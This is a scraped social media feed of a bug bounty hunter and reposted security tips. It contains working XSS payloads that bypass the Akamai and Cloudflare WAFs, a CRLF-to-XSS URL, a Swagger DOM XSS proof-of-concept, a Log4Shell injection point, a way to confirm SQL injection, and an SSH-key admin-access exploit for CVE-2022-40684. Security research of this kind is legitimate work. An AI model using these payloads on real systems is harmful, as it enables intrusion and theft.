Manor @Manorr07

Security Researcher|Bug Hunter 🇹🇩 Chad Joined January 2022

Tweets

63
Followers

100
Following

54
Likes

258

Manor @Manorr07

a month ago

Reflected XSS Akami Waf Bypass Payload: "><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](top['doc'%2b'ument']['dom'%2b'ain']);> Thanks for sharing tips @coffinxp7 #BugBounty #BugBountytips

0 0 1 109 1

Download Image

Manor @Manorr07

10 months ago

Another XSS bypass #bugbountytips

Ali @111xNagashy

a year ago

Another XSS bypass #bugbountytips https://t.co/t0dolrgxn2

24 98 650 47K 511

Download Image

0 2 26 2K 9

Download Image

This lab was crazy lol. Huge thanks to z3nsh3ll on youtube on making me fully understand the solution to it. I really thought i was decent at javascript until now 💀 Credit to z3nsh3ll: youtube.com/@z3nsh3ll

23 22 227 17K 105

Download Image

Coffin @coffinxp7

a year ago

CRLF to XSS Bypass in Hackerone program ❤️ payload:target.com/%3f%0d%0aLocat…

22 85 626 46K 324

Download Image

Manor @Manorr07

a year ago

Thanks for sharing good tips CVE-2024-24919 #bugbounty

Yunus Emre Öztaş @ynsmroztas

a year ago

Thanks for sharing good tips CVE-2024-24919 #bugbounty https://t.co/5kyVCQFrUm

9 129 684 54K 499

Download Image

0 0 6 672 0

Download Image

Manor @Manorr07

a year ago

Swagger DOM XSS POC Link: h!!ps://target.com/swagger-ui/index.html?Configurl=https://jumpy-floor.surge.sh/test.yaml #BugBountytip #BugBounty

0 1 4 385 3

Download Image

bugoverflow @bugoverfl0w

2 years ago

SQL injection thread It is external program, while browser I found a request, it is POST request with data JSON {"userName":"0a"} => response {"Exception":"No entity found for query"} Confirm SQLi by add ' after 0a {"userName":"0a'"} 1/n #bugbountytips

7 44 217 18K 164

Manor @Manorr07

2 years ago

I loved this vuln🥳 #BugBounty

0 0 1 176 0

Download Image

Anton @therceman

3 years ago

i love playing with custom XSS WAF solutions! Blocked: - alert(1337) - window['alert'](1337) - window['a'+'lert'](1337) Bypass URL Encoded: - window[[%27a%27][0]%252b%27lert%27](1337) Bypass in JS code: - window[['a'][0] + 'lert'](1337) Result: alert(1337) 🚀

4 67 169 13K 81

Today Cyber News @TodayCyberNews

3 years ago

⚙️ Joomla Web Service Endpoint Access (CVE-2023-23752) An issue was discovered in Joomla 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints. #joomla #endpoint #access #cve #bugbounty #bugbountytips

2 61 187 25K 49

Download Image

SaxX ¯\_(ツ)_/¯ @_SaxX_

3 years ago

Interesting collection of #Wordpress exploits and #CVE whenever you're conducting any #pentest or #redteam engagements github.com/0xd3vil/WP-Vul…

0 10 52 4K 12

N$ @nav1n0x

3 years ago

Another Tip: I found this VMWare vCenter #Log4Shell vulnerability in an endpoint using POST: /analytics/telemetry/ph/api/hyper/send?_c="${payload}". This RCE method actually of CVE-2021-22005, however this ep is vulnerable to Log4Shell as well. #BugBounty --> Bounty $2100.00.

15 112 467 0 131

Download Image

Md Ismail Šojal 🕷️ @0x0SojalSec

3 years ago

CloudFlare XSS Bypassed :- <a/href=j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;(a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1))> #xss #infosecurity #bugbountytip

2 36 125 0 30

🐞Sara Badran @SaraBadran18

3 years ago

Stored XSS in tiktok.com 🔥🔥 ----- Publication date : 2022-11-30 ----- By Aidil Arief ----- aidilarf.medium.com/stored-xss-at-… ------ #hackerone #BugBounty #BugBountytips #hackeronereport #writeups #BugBountywriteupspublished #BugBountytip #hackerone #hackeronereport

0 21 76 0 11

Download Image

payloadartist @payloadartist

3 years ago

CVE-2022-40684 PoC As simple as sending an unauth PUT request to add your SSH public key to an API endpoint. This would give you admin access to SSH into the system👇 #infosec #cybersecurity #redteam #bugbounty #bugbountytips #blueteam #DFIR 1/2

2 52 133 0 42

Download Image

Het Mehta @hetmehtaa

3 years ago

Some useful XSS payloads🐞 X-Forwarded-For: <script>alert()</script> XSS Cloudflare Bypass: <fieldset//%00//onsite OnMoUsEoVeR=\u0061\u006C\u0065\u0072\u0074/AAAA/> 🔗github.com/payloadbox/xss… #xss #thesecureedge #infosec #redteam

13 101 276 0 116

H4x0r.DZ 🇰🇵 @h4x0r_dz

3 years ago

Backup Files (does not exist on any Fuzzing wordlist ! ) hostname*com/hostname.rar , .sql.tar & .tar.gz & .tar.bzip2 & .tar & .sql.bz2 & .7z & .tar.bz2 & .sql.7z ....etc already found so many WordPress websites backups #bugbountytips

16 187 694 0 312

Download Image

N$ @nav1n0x

3 years ago

The CVE-2019-5418 (Ruby on Rails Action View File Content Disclosure) is still vulnerable in the wild, I just submitted a report, knowing that its a 3yo vulnerability chances are high that it could be another duplicate of the day. #BugBounty chybeta.github.io/2019/03/16/Ana…